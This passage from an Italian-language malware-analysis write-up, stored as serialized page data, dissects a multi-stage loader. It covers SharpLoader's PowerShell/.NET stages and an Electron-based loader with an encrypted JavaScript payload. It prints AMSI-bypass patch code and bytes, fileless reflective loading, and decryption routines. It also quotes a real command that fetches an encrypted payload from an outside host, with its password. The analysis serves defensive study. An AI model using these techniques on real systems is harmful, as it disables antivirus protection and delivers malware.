Labels:",[1438,2012,2013,646,2016,646,2019,646,2021],{},[578,2014,2015],{},"trojan",[578,2017,2018],{},"downloader",[578,2020,1700],{},[578,2022,2023],{},"agentb",[525,2025,2026,2027,2030],{},"Pur essendo un semplice file ",[578,2028,2029],{},".bat",", lo script elude molti rilevamenti statici e si appoggia in larga misura a tecniche living-off-the-land come PowerShell per scaricare ed eseguire payload offuscati e cifrati.",[740,2032,2034,2035,1138],{"id":2033},"_42-tecnica-di-bypass-di-amsi-classe-gofor4msi","4.2 Tecnica di bypass di AMSI (classe: ",[578,2036,2037],{},"gofor4msi",[525,2039,746],{},[525,2041,2042],{},"Uno dei primi meccanismi difensivi aggirati da SharpLoader è AMSI, l'Anti-Malware Scan Interface, una funzionalità Microsoft integrata in motori di scripting come PowerShell e Windows Script Host per fornire una scansione in tempo reale dei contenuti alla ricerca di comportamenti sospetti. Gli autori di malware cercano spesso di aggirare AMSI per non essere rilevati dai sistemi di endpoint protection.",[525,2044,2045,2046,2049,2050,2053,2054,2057,2058,2061,2062,2065],{},"In SharpLoader il bypass di AMSI è realizzato tramite ",[567,2047,2048],{},"patching diretto in memoria"," della funzione ",[578,2051,2052],{},"AmsiScanBuffer"," all'interno di ",[578,2055,2056],{},"amsi.dll",". Questa funzione è normalmente responsabile di analizzare il contenuto degli script e di restituire un codice di risultato che indica se il contenuto è sospetto (",[578,2059,2060],{},"AMSI_RESULT_DETECTED",") o sicuro (",[578,2063,2064],{},"AMSI_RESULT_CLEAN",").",[525,2067,2068],{},"Il codice di patching in memoria interessato è il seguente:",[615,2070,2074],{"className":2071,"code":2072,"language":2073,"meta":529,"style":529},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[578,2075,2076,2081,2086,2092],{"__ignoreMap":529},[1704,2077,2078],{"class":1706,"line":1707},[1704,2079,2080],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1704,2082,2083],{"class":1706,"line":530},[1704,2084,2085],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1704,2087,2089],{"class":1706,"line":2088},3,[1704,2090,2091],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1704,2093,2095],{"class":1706,"line":2094},4,[1704,2096,2097],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[525,2099,2100],{},"Questa sequenza esegue i passi seguenti:",[2102,2103,2104,2113,2123,2133],"ol",{},[633,2105,2106,2109,2110,613],{},[567,2107,2108],{},"Carica la DLL di AMSI"," nel processo con ",[578,2111,2112],{},"LoadLibrary(\"amsi.dll\")",[633,2114,2115,2049,2118,610,2120,613],{},[567,2116,2117],{},"Risolve l'indirizzo di memoria",[578,2119,2052],{},[578,2121,2122],{},"GetProcAddress()",[633,2124,2125,2128,2129,2132],{},[567,2126,2127],{},"Modifica la protezione della memoria"," dell'indirizzo con ",[578,2130,2131],{},"VirtualProtect()"," per renderla scrivibile.",[633,2134,2135,1282,2138,2141],{},[567,2136,2137],{},"Sovrascrive l'inizio della funzione",[578,2139,2140],{},"Marshal.Copy()"," applicando una piccola patch shellcode.",[525,2143,2144],{},"La patch applicata sui sistemi a 64 bit è:",[615,2146,2148],{"className":2071,"code":2147,"language":2073,"meta":529,"style":529},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[578,2149,2150],{"__ignoreMap":529},[1704,2151,2152],{"class":1706,"line":1707},[1704,2153,2147],{},[525,2155,2156],{},"Corrisponde alle istruzioni seguenti:",[630,2158,2159,2168],{},[633,2160,2161,2164,2165],{},[578,2162,2163],{},"mov eax, 0x80070057"," → imposta il codice di ritorno sul codice di errore Windows ",[578,2166,2167],{},"E_INVALIDARG",[633,2169,2170,2173],{},[578,2171,2172],{},"ret"," → esce immediatamente dalla funzione",[525,2175,2176,2177,2179],{},"In pratica questo fa sì che ",[578,2178,2052],{}," fallisca in silenzio e restituisca un risultato di mancato rilevamento, neutralizzando i controlli AMSI. Il malware può ora eseguire script o codice .NET che altrimenti farebbero scattare gli alert dell'antivirus.",[525,2181,2182],{},"Se l'esecuzione avviene su un sistema a 32 bit, viene applicata una patch diversa:",[615,2184,2186],{"className":2071,"code":2185,"language":2073,"meta":529,"style":529},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[578,2187,2188],{"__ignoreMap":529},[1704,2189,2190],{"class":1706,"line":1707},[1704,2191,2185],{},[525,2193,2194],{},"L'obiettivo è lo stesso, forzare un risultato \"clean\", ma adattato alla calling convention x86.",[525,2196,2197,2198,646,2201,2204,2205,2208],{},"Usare chiamate P/Invoke dirette come ",[578,2199,2200],{},"LoadLibrary",[578,2202,2203],{},"GetProcAddress"," e ",[578,2206,2207],{},"VirtualProtect"," permette di eseguire questo patching in modo dinamico e senza invocare API di alto livello che potrebbero essere monitorate dagli strumenti EDR. Il metodo è compatto, efficace e lascia artefatti forensi minimi.",[525,2210,2211,2212,2215],{},"In sintesi, questa tecnica di bypass di AMSI è un ",[567,2213,2214],{},"attacco diretto di basso livello alla memoria dell'interfaccia antivirus",", portato a termine in millisecondi durante il runtime. È un esempio efficace del perché il monitoraggio comportamentale e l'ispezione della memoria siano essenziali nei sistemi moderni di difesa dell'endpoint.",[740,2217,2219],{"id":2218},"_43-gestione-del-payload-di-stadio-2","4.3 Gestione del payload di stadio 2",[525,2221,746],{},[525,2223,2224,2225,613],{},"Completato il bypass di AMSI, il loader passa a recuperare e preparare il payload di secondo stadio. Questo payload non è incorporato nel loader stesso, ma viene prelevato da un server remoto oppure letto da disco, a seconda di come il loader viene invocato tramite il parametro ",[578,2226,2227],{},"$location",[525,2229,2230,2231,2234,2235,2238,2239,2242,2243,2246,2247,613],{},"Se la location inizia con ",[578,2232,2233],{},"http",", viene interpretata come URL e il loader usa ",[578,2236,2237],{},"Get_Stage2()"," per scaricare il payload tramite ",[578,2240,2241],{},"HttpWebRequest",". Se si tratta di un percorso locale, ",[578,2244,2245],{},"Get_Stage2disk()"," legge il contenuto direttamente dal file system. In entrambi i casi il contenuto atteso del file è un blob ",[567,2248,2249],{},"codificato in Base64, compresso con GZip e cifrato con AES",[525,2251,2252,2253,2256],{},"Il loader esegue poi una ",[567,2254,2255],{},"pipeline di decodifica e decifratura in quattro stadi",", interamente in memoria:",[2102,2258,2259,2265,2275,2285],{},[633,2260,2261,2264],{},[567,2262,2263],{},"Decodifica Base64",": converte la stringa codificata in byte grezzi. Questo passo serve a nascondere il contenuto binario reale agli strumenti di ispezione statica e impedisce un semplice pattern matching.",[633,2266,2267,2270,2271,2274],{},[567,2268,2269],{},"Decompressione GZip",": i byte decodificati vengono passati a un ",[578,2272,2273],{},"GZipStream",", che decomprime il payload. La compressione riduce la dimensione del file e aggiunge un ulteriore strato di offuscamento.",[633,2276,2277,2280,2281,2284],{},[567,2278,2279],{},"Decifratura AES",": i byte compressi vengono decifrati con AES (Rijndael) in modalità CBC. La chiave è derivata a runtime dalla password fornita dall'utente tramite hashing SHA-256 combinato con PBKDF2 (",[578,2282,2283],{},"Rfc2898DeriveBytes",") e un salt statico.",[633,2286,2287,2290],{},[567,2288,2289],{},"Rimozione del salt",": il risultato decifrato contiene ancora un prefisso di salt a lunghezza fissa (4 byte). Questi byte vengono rimossi manualmente per ottenere il blob binario pulito che rappresenta un assembly .NET valido.",[525,2292,2293],{},"La pipeline di decifratura viene eseguita così:",[615,2295,2297],{"className":2071,"code":2296,"language":2073,"meta":529,"style":529},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[578,2298,2299,2304],{"__ignoreMap":529},[1704,2300,2301],{"class":1706,"line":1707},[1704,2302,2303],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1704,2305,2306],{"class":1706,"line":530},[1704,2307,2308],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[525,2310,2311,2312,2315],{},"Qui ",[578,2313,2314],{},"AES_Decrypt()"," è una funzione personalizzata che incapsula l'algoritmo Rijndael, configurato con una chiave a 256 bit e un IV (initialization vector) a 128 bit, entrambi derivati dalla password.",[525,2317,2318],{},[567,2319,2320],{},"Osservazioni chiave sul design:",[630,2322,2323,2326,2329],{},[633,2324,2325],{},"L'uso di AES-CBC con PBKDF2 rende il brute forcing della password tutt'altro che banale.",[633,2327,2328],{},"Poiché la decifratura avviene in memoria, nessun risultato intermedio viene mai scritto su disco, il che riduce gli artefatti forensi.",[633,2330,2331],{},"Se viene fornita la password sbagliata, la decifratura fallisce in silenzio o produce dati non validi, con possibili esecuzioni fallite o eccezioni difficili da tracciare.",[525,2333,2334],{},"In sintesi, questo approccio multistadio alla gestione del payload alza notevolmente l'asticella sia per il rilevamento statico basato su signature sia per quello euristico. Senza esecuzione dal vivo o senza un'ispezione approfondita del comportamento del loader, difficilmente i difensori riusciranno a scoprire il payload incorporato se non conoscono anche la password e la logica esatta di decodifica.",[740,2336,2338],{"id":2337},"_44-caricamento-dinamico-dellassembly","4.4 Caricamento dinamico dell'assembly",[525,2340,746],{},[525,2342,2343],{},"Una volta decifrato con successo il payload di secondo stadio, l'array di byte risultante rappresenta un assembly .NET valido. Invece di scrivere questo assembly su disco, un indicatore comune per i sistemi antivirus o EDR, SharpLoader lo esegue direttamente in memoria tramite reflection:",[615,2345,2347],{"className":2071,"code":2346,"language":2073,"meta":529,"style":529},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[578,2348,2349,2354],{"__ignoreMap":529},[1704,2350,2351],{"class":1706,"line":1707},[1704,2352,2353],{},"Assembly a = Assembly.Load(bin);\n",[1704,2355,2356],{"class":1706,"line":530},[1704,2357,2358],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[525,2360,2361,2362,2365],{},"Questa tecnica è chiamata ",[567,2363,2364],{},"esecuzione fileless",". È altamente evasiva perché:",[630,2367,2368,2371,2374],{},[633,2369,2370],{},"Evita di toccare il disco, senza lasciare IOC (indicatori di compromissione) basati su file",[633,2372,2373],{},"Rende più difficile l'acquisizione forense tradizionale, dato che nessuna binary viene salvata su disco",[633,2375,2376],{},"Elude il rilevamento statico basato su signature, dato che i motori AV si affidano spesso alla scansione dei file",[525,2378,2379,2380,2383,2384,2387],{},"Se l'",[578,2381,2382],{},"EntryPoint"," non è ",[578,2385,2386],{},"static",", il loader prevede una logica di fallback:",[615,2389,2391],{"className":2071,"code":2390,"language":2073,"meta":529,"style":529},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[578,2392,2393,2398,2403,2408,2413,2419],{"__ignoreMap":529},[1704,2394,2395],{"class":1706,"line":1707},[1704,2396,2397],{},"MethodInfo method = a.EntryPoint;\n",[1704,2399,2400],{"class":1706,"line":530},[1704,2401,2402],{},"if (method != null)\n",[1704,2404,2405],{"class":1706,"line":2088},[1704,2406,2407],{},"{\n",[1704,2409,2410],{"class":1706,"line":2094},[1704,2411,2412],{},"    object o = a.CreateInstance(method.Name);\n",[1704,2414,2416],{"class":1706,"line":2415},5,[1704,2417,2418],{},"    method.Invoke(o, null);\n",[1704,2420,2422],{"class":1706,"line":2421},6,[1704,2423,2424],{},"}\n",[525,2426,2427,2428,2431],{},"Questo garantisce compatibilità con gli assembly che richiedono un oggetto istanziato per l'esecuzione (per esempio ",[578,2429,2430],{},"public int Main()"," dentro un'istanza di classe). Il codice crea dinamicamente un'istanza della classe e poi chiama il metodo di entry point.",[525,2433,2434],{},"Unito al bypass di AMSI e alla decifratura in memoria, questo meccanismo porta il payload finale all'esecuzione in modo furtivo e completamente fileless, un tratto distintivo del malware evasivo moderno.",[740,2436,2438],{"id":2437},"_45-parametri-da-riga-di-comando-e-flessibilità","4.5 Parametri da riga di comando e flessibilità",[525,2440,746],{},[525,2442,2443,2444,2446],{},"La funzione PowerShell ",[578,2445,1912],{}," è progettata per fungere da wrapper flessibile per payload .NET arbitrari. Supporta l'immissione dinamica sia della posizione del payload sia degli argomenti, così una singola istanza del loader può essere riutilizzata in operazioni o campagne diverse.",[525,2448,2449],{},[567,2450,2451],{},"Parametri supportati:",[630,2453,2454,2460,2466,2486],{},[633,2455,2456,2459],{},[578,2457,2458],{},"-location"," (obbligatorio): indica un URL oppure un percorso di file locale al payload cifrato di stadio due.",[633,2461,2462,2465],{},[578,2463,2464],{},"-password"," (obbligatorio): serve a derivare la chiave di decifratura AES.",[633,2467,2468,646,2471,646,2474,2477,2478,2481,2482,2485],{},[578,2469,2470],{},"-argument",[578,2472,2473],{},"-argument2",[578,2475,2476],{},"-argument3"," (opzionali): vengono inoltrati direttamente al metodo ",[578,2479,2480],{},"Main()"," dell'assembly ",[578,2483,2484],{},".NET"," tramite reflection.",[633,2487,2488,2491],{},[578,2489,2490],{},"-noArgs",": avvia l'esecuzione senza passare alcun parametro al payload di secondo stadio.",[525,2493,2494],{},"Internamente gli argomenti vengono raccolti e inoltrati così:",[615,2496,2498],{"className":1698,"code":2497,"language":1700,"meta":529,"style":529},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[578,2499,2500,2505],{"__ignoreMap":529},[1704,2501,2502],{"class":1706,"line":1707},[1704,2503,2504],{},"object[] cmd = args.Skip(2).ToArray();\n",[1704,2506,2507],{"class":1706,"line":530},[1704,2508,2509],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[525,2511,2512],{},"Questo significa che il payload .NET deve avere una firma simile a:",[615,2514,2516],{"className":2071,"code":2515,"language":2073,"meta":529,"style":529},"static void Main(string[] args)\n",[578,2517,2518],{"__ignoreMap":529},[1704,2519,2520],{"class":1706,"line":1707},[1704,2521,2515],{},[525,2523,2524,2525,2527],{},"oppure ricadrà con garbo sulla variante ",[578,2526,2480],{}," senza parametri grazie alla logica di fallback. Questo comportamento permette a red team o autori di malware di creare secondi stadi multiuso, capaci di eseguire operazioni diverse a seconda dell'input: per esempio lanciare un implant, raccogliere informazioni di sistema o avviare la comunicazione C2.",[525,2529,2530],{},"Modularità e configurabilità di questo tipo sono caratteristiche chiave dei framework di malware avanzati e mostrano come i loader basati su script possano comportarsi da ambienti di esecuzione altamente adattivi per i payload a valle.",[740,2532,2534],{"id":2533},"_46-esempio-duso-reale","4.6 Esempio d'uso reale",[525,2536,746],{},[525,2538,2539],{},"Per illustrare l'esecuzione di SharpLoader in una campagna reale, prendiamo la seguente invocazione osservata in the wild:",[615,2541,2543],{"className":1698,"code":2542,"language":1700,"meta":529,"style":529},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[578,2544,2545],{"__ignoreMap":529},[1704,2546,2547],{"class":1706,"line":1707},[1704,2548,2542],{},[525,2550,2551],{},"Questo esempio mette in evidenza il caso d'uso tipico di SharpLoader:",[630,2553,2554,2568,2580,2590],{},[633,2555,2556,2559,2560,2563,2564,2567],{},[567,2557,2558],{},"Argomento location",": l'URL punta a un server remoto che ospita ",[578,2561,2562],{},"calc.enc",", un payload di secondo stadio nascosto. L'endpoint si trova sotto una directory ",[578,2565,2566],{},".well-known"," dall'aspetto legittimo, spesso usata per la validazione dei certificati HTTPS, il che aiuta a far confondere l'URL con il normale traffico web.",[633,2569,2570,998,2573,2575,2576,2579],{},[567,2571,2572],{},"Caratteristiche del payload",[578,2574,2562],{}," è un ",[567,2577,2578],{},"file con triplo offuscamento",", codificato in Base64, compresso con GZip e cifrato con AES. Questa pipeline di offuscamento rende il payload opaco alla maggior parte dei meccanismi di rilevamento, a meno che non venga eseguito e decifrato completamente in memoria.",[633,2581,2582,2585,2586,2589],{},[567,2583,2584],{},"Argomento password",": la stringa ",[578,2587,2588],{},"UwUFufu1"," viene usata a runtime per derivare la chiave AES tramite SHA-256 e PBKDF2. Senza questa password il payload non può essere decifrato, il che rende l'analisi offline priva di contesto quasi impossibile.",[633,2591,2592,2595,2596,2598],{},[567,2593,2594],{},"Nessun argomento aggiuntivo",": lo switch ",[578,2597,2490],{}," indica che nessun parametro da riga di comando viene passato all'assembly .NET decifrato, il che ne attiva il percorso di esecuzione predefinito.",[525,2600,2601,2602,2605],{},"Questa catena di invocazione furtiva racchiude lo scopo centrale di SharpLoader: ",[567,2603,2604],{},"una consegna del payload fileless, adattiva e protetta"," attraverso una semplice sintassi PowerShell, con il massimo di offuscamento ed evasione.",[740,2607,2609],{"id":2608},"_47-sintesi","4.7 Sintesi",[525,2611,746],{},[525,2613,2614,2615,2617],{},"Il costrutto ",[578,2616,1912],{}," è l'esempio di una tecnica di staging del malware molto raffinata ed evasiva, che sfrutta componenti nativi del sistema, reflection e crittografia per operare quasi interamente in memoria.",[525,2619,2620],{},[567,2621,2622],{},"Punti chiave:",[630,2624,2625,2634,2640,2646],{},[633,2626,2627,2630,2631,2633],{},[567,2628,2629],{},"Bypass di AMSI",": il patching diretto in memoria di ",[578,2632,2052],{}," disattiva l'ispezione antivirus senza invocare API rilevabili.",[633,2635,2636,2639],{},[567,2637,2638],{},"Gestione protetta del payload",": il recupero di payload di stadio due cifrati e compressi garantisce riservatezza e aggiunge più strati di evasione.",[633,2641,2642,2645],{},[567,2643,2644],{},"Esecuzione solo in memoria",": i payload decifrati non vengono mai scritti su disco, il che rende quasi impossibile il rilevamento da parte degli scanner tradizionali basati su file.",[633,2647,2648,2651],{},[567,2649,2650],{},"Architettura modulare e riutilizzabile",": grazie ai parametri PowerShell, SharpLoader può essere riutilizzato con flessibilità in campagne diverse, con payload e comportamenti a runtime differenti.",[556,2653,2655,2656,2658],{"id":2654},"_5-deep-dive-mainexe-malware-loader-basato-su-electron","5. Deep Dive: ",[578,2657,605],{}," – malware loader basato su Electron",[525,2660,562],{},[525,2662,2663,2664,2666,2667,2670,2671,2673,2674,2676],{},"Durante il reverse engineering è diventato chiaro che ",[578,2665,605],{},", segnalato da Microsoft Defender for Endpoint, non era una binary convenzionale ma un ",[567,2668,2669],{},"malware loader basato su Electron",". Veniva consegnato dentro un archivio chiamato ",[578,2672,1845],{},", che ",[578,2675,601],{}," scaricava ed estraeva a runtime. Una volta scompattato, struttura e contenuto somigliavano molto a una tipica applicazione Electron.",[740,2678,2680],{"id":2679},"_51-riconoscere-la-struttura-electron","5.1 Riconoscere la struttura Electron",[525,2682,746],{},[525,2684,2685],{},"La cartella estratta conteneva file come:",[630,2687,2688,2699,2707,2713],{},[633,2689,2690,646,2693,646,2696],{},[578,2691,2692],{},"chrome_100_percent.pak",[578,2694,2695],{},"v8_context_snapshot.bin",[578,2697,2698],{},"d3dcompiler_47.dll",[633,2700,2701,2204,2704],{},[578,2702,2703],{},"LICENSES.chromium",[578,2705,2706],{},"LICENSES.electron",[633,2708,2709,2710,2712],{},"Una grossa binary ",[578,2711,605],{}," (~150 MB)",[633,2714,2715,2716,2718,2719,2721,2722],{},"Una cartella ",[578,2717,1855],{}," contenente ",[578,2720,1072],{}," e una binary secondaria ",[578,2723,2724],{},"elevate.exe",[525,2726,2727],{},[774,2728],{"alt":2729,"src":2730},"Versione dell'app desktop impacchettata per Windows a 64 bit","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[525,2732,2733,2734,2736],{},"Sono tutti indicatori forti di un'app Electron, che usa Chromium e Node.js per impacchettare applicazioni desktop basate su JavaScript. La presenza di ",[578,2735,2724],{},", una binary Microsoft firmata spesso usata per elevare i privilegi, ha alimentato ulteriori sospetti, perché potrebbe essere sfruttata per avviare processi figli con diritti elevati.",[740,2738,2740],{"id":2739},"_52-scompattamento-e-analisi-statica-deep-dive","5.2 Scompattamento e analisi statica (deep dive)",[525,2742,746],{},[525,2744,2745,2746,2748,2749,2751,2752,2754,2755,2757,2758,2761],{},"Invece di eseguire ",[578,2747,605],{}," ho scelto un approccio di analisi statica, per non innescare alcun comportamento dal vivo. Il mio sospetto iniziale che ",[578,2750,605],{}," fosse costruito con Electron è stato confermato individuando il file ",[578,2753,1072],{}," nella directory ",[578,2756,1855],{},". Nelle app Electron questo archivio contiene tutta la logica applicativa principale, come file JavaScript, configurazione (",[578,2759,2760],{},"package.json",") e asset, impacchettati in un formato proprietario per ragioni di prestazioni e di offuscamento.",[525,2763,2764,2765,2768,2769,2772],{},"L'archivio ",[578,2766,2767],{},".asar"," è in sostanza un contenitore in sola lettura e ad alte prestazioni, simile a uno ",[578,2770,2771],{},".zip"," ma ottimizzato per il runtime di Electron. Anche se non è cifrato, rende l'accesso al codice meno immediato e complica l'analisi statica finché non viene scompattato.",[525,2774,2775,2776,2779],{},"Per scompattarlo ho usato lo strumento ufficiale ",[578,2777,2778],{},"asar"," distribuito tramite npm. I passi erano:",[615,2781,2785],{"className":2782,"code":2783,"language":2784,"meta":529,"style":529},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[578,2786,2787,2804],{"__ignoreMap":529},[1704,2788,2789,2793,2797,2801],{"class":1706,"line":1707},[1704,2790,2792],{"class":2791},"sScJk","npm",[1704,2794,2796],{"class":2795},"sZZnC"," install",[1704,2798,2800],{"class":2799},"sj4cs"," -g",[1704,2802,2803],{"class":2795}," asar\n",[1704,2805,2806,2808,2811,2814],{"class":1706,"line":530},[1704,2807,2778],{"class":2791},[1704,2809,2810],{"class":2795}," extract",[1704,2812,2813],{"class":2795}," app.asar",[1704,2815,2816],{"class":2795}," extracted_app\n",[525,2818,2819,2820,2823],{},"Eseguendo i comandi di cui sopra il contenuto è stato estratto in una cartella di lavoro (",[578,2821,2822],{},"extracted_app/","), che ha rivelato il vero codice applicativo JavaScript. Comprendeva:",[630,2825,2826,2847,2855],{},[633,2827,2828,646,2831,646,2834,2837,2838,2840,2841,2843,2844,2846],{},[578,2829,2830],{},"jscryter.js",[578,2832,2833],{},"input.js",[578,2835,2836],{},"obf.js",": questi script costituiscono la logica del malware. ",[578,2839,2830],{}," sembra orchestrare la consegna del payload, ",[578,2842,2833],{}," definisce costanti di configurazione o logica di comando e ",[578,2845,2836],{}," è uno script fortemente offuscato che probabilmente contiene la logica centrale del payload.",[633,2848,2849,646,2851,2854],{},[578,2850,2760],{},[578,2852,2853],{},"package-lock.json",": definiscono l'ambiente di runtime",[633,2856,2857,2860,2861,646,2864,646,2867],{},[578,2858,2859],{},"node_modules/",": contiene tutte le dipendenze come ",[578,2862,2863],{},"axios",[578,2865,2866],{},"adm-zip",[578,2868,2869],{},"child_process",[525,2871,2872,2873,2875,2876,613],{},"Il contenuto scompattato ha dato piena visibilità sulla logica del malware senza doverlo eseguire, cosa essenziale per un reverse engineering sicuro. Questo passaggio ha confermato che ",[578,2874,605],{}," serviva puramente da wrapper di runtime per gli script malevoli nascosti in ",[578,2877,1072],{},[740,2879,2881],{"id":2880},"_53-cosa-ha-rivelato-lanalisi-statica","5.3. Cosa ha rivelato l'analisi statica",[525,2883,746],{},[525,2885,2886],{},"Ispezionando manualmente il codice ho confermato che la logica del malware era interamente basata su JavaScript ed eseguita dentro il runtime di Electron. Gli script erano progettati per:",[630,2888,2889,2896,2901,2904],{},[633,2890,2891,2892,2895],{},"Scaricare un payload cifrato (",[578,2893,2894],{},"pyth.zip",") da URL di fallback",[633,2897,2898,2899],{},"Estrarre l'archivio con ",[578,2900,2866],{},[633,2902,2903],{},"Eseguire una sostituzione di stringhe per iniettare credenziali o indirizzi di wallet specifici",[633,2905,2906,2907,2909,2910,2204,2913],{},"Avviare il file Python risultante (",[578,2908,609],{},") tramite ",[578,2911,2912],{},"child_process.exec()",[578,2914,580],{},[525,2916,2917,2918,2924],{},"Fondamentale: il loader includeva anche una logica per ",[567,2919,2920,2921,2923],{},"copiare ",[578,2922,601],{}," nella directory AppData dell'utente"," se non era già presente, rafforzando la persistenza e mantenendo attivo il loop di infezione.",[556,2926,2928,2929,2931],{"id":2927},"_6-deep-dive-inputjs-il-payload-loader-javascript-cifrato","6. Deep Dive: ",[578,2930,2833],{}," – il payload loader JavaScript cifrato",[525,2933,562],{},[525,2935,2936,2938],{},[578,2937,2833],{}," è un componente critico della catena di malware analizzata e funziona da centro di decifratura ed esecuzione per un payload JavaScript cifrato. Questo script nasconde la sua funzionalità centrale dietro un solido strato di cifratura e rivela il proprio comportamento solo a runtime.",[740,2940,2942],{"id":2941},"_61-meccanica-di-cifratura-e-decifratura","6.1 Meccanica di cifratura e decifratura",[525,2944,746],{},[525,2946,2947,2948,2950],{},"A prima vista ",[578,2949,2833],{}," contiene pochissimo codice leggibile. Il suo scopo principale, però, è decifrare ed eseguire un grosso blob JavaScript offuscato memorizzato nello script stesso.",[887,2952,2954],{"id":2953},"_611-logica-di-decifratura","6.1.1 Logica di decifratura",[525,2956,893],{},[525,2958,2959,2960,2963],{},"Lo script definisce una funzione ",[578,2961,2962],{},"decrypt()"," che accetta quattro parametri:",[630,2965,2966,2972,2978,2984],{},[633,2967,2968,2971],{},[578,2969,2970],{},"encdata",": i dati cifrati codificati in Base64",[633,2973,2974,2977],{},[578,2975,2976],{},"masterkey",": una passphrase in chiaro",[633,2979,2980,2983],{},[578,2981,2982],{},"salt",": un salt crittografico (Base64)",[633,2985,2986,2989],{},[578,2987,2988],{},"iv",": il vettore di inizializzazione per la decifratura AES (Base64)",[525,2991,2992,2993,2996],{},"Il processo di decifratura è realizzato con il modulo ",[578,2994,2995],{},"crypto"," integrato in Node.js e procede così:",[2102,2998,2999,3110,3223],{},[633,3000,3001,3004,3005,3084],{},[567,3002,3003],{},"Derivazione della chiave:","\nlo script deriva una chiave simmetrica a 256 bit tramite PBKDF2 (Password-Based Key Derivation Function 2):",[615,3006,3010],{"className":3007,"code":3008,"language":3009,"meta":529,"style":529},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[578,3011,3012,3034,3039,3056,3064,3071,3078],{"__ignoreMap":529},[1704,3013,3014,3018,3021,3024,3028,3031],{"class":1706,"line":1707},[1704,3015,3017],{"class":3016},"szBVR","const",[1704,3019,3020],{"class":2799}," key",[1704,3022,3023],{"class":3016}," =",[1704,3025,3027],{"class":3026},"sVt8B"," crypto.",[1704,3029,3030],{"class":2791},"pbkdf2Sync",[1704,3032,3033],{"class":3026},"(\n",[1704,3035,3036],{"class":1706,"line":530},[1704,3037,3038],{"class":3026},"  masterkey,\n",[1704,3040,3041,3044,3047,3050,3053],{"class":1706,"line":2088},[1704,3042,3043],{"class":3026},"  Buffer.",[1704,3045,3046],{"class":2791},"from",[1704,3048,3049],{"class":3026},"(salt, ",[1704,3051,3052],{"class":2795},"\"base64\"",[1704,3054,3055],{"class":3026},"),\n",[1704,3057,3058,3061],{"class":1706,"line":2094},[1704,3059,3060],{"class":2799},"  100000",[1704,3062,3063],{"class":3026},",\n",[1704,3065,3066,3069],{"class":1706,"line":2415},[1704,3067,3068],{"class":2799},"  32",[1704,3070,3063],{"class":3026},[1704,3072,3073,3076],{"class":1706,"line":2421},[1704,3074,3075],{"class":2795},"  \"sha512\"",[1704,3077,3063],{"class":3026},[1704,3079,3081],{"class":1706,"line":3080},7,[1704,3082,3083],{"class":3026},");\n",[630,3085,3086,3092,3098,3104],{},[633,3087,3088,3091],{},[567,3089,3090],{},"Funzione di hash:"," SHA-512",[633,3093,3094,3097],{},[567,3095,3096],{},"Iterazioni:"," 100.000",[633,3099,3100,3103],{},[567,3101,3102],{},"Lunghezza della chiave:"," 32 byte (256 bit)",[633,3105,3106,3109],{},[567,3107,3108],{},"Salt:"," fornito come input decodificato da Base64",[633,3111,3112,3115,3116,3166,3168,3169],{},[567,3113,3114],{},"Decifratura AES-256-CBC:","\nla chiave derivata viene poi usata per creare un oggetto decipher AES:",[615,3117,3119],{"className":3007,"code":3118,"language":3009,"meta":529,"style":529},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[578,3120,3121,3137,3144,3149,3162],{"__ignoreMap":529},[1704,3122,3123,3125,3128,3130,3132,3135],{"class":1706,"line":1707},[1704,3124,3017],{"class":3016},[1704,3126,3127],{"class":2799}," decipher",[1704,3129,3023],{"class":3016},[1704,3131,3027],{"class":3026},[1704,3133,3134],{"class":2791},"createDecipheriv",[1704,3136,3033],{"class":3026},[1704,3138,3139,3142],{"class":1706,"line":530},[1704,3140,3141],{"class":2795},"  \"aes-256-cbc\"",[1704,3143,3063],{"class":3026},[1704,3145,3146],{"class":1706,"line":2088},[1704,3147,3148],{"class":3026},"  key,\n",[1704,3150,3151,3153,3155,3158,3160],{"class":1706,"line":2094},[1704,3152,3043],{"class":3026},[1704,3154,3046],{"class":2791},[1704,3156,3157],{"class":3026},"(iv, ",[1704,3159,3052],{"class":2795},[1704,3161,3055],{"class":3026},[1704,3163,3164],{"class":1706,"line":2415},[1704,3165,3083],{"class":3026},[724,3167],{},"Il payload cifrato viene decifrato con la modalità CBC (Cipher Block Chaining) standard:",[615,3170,3172],{"className":3007,"code":3171,"language":3009,"meta":529,"style":529},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += 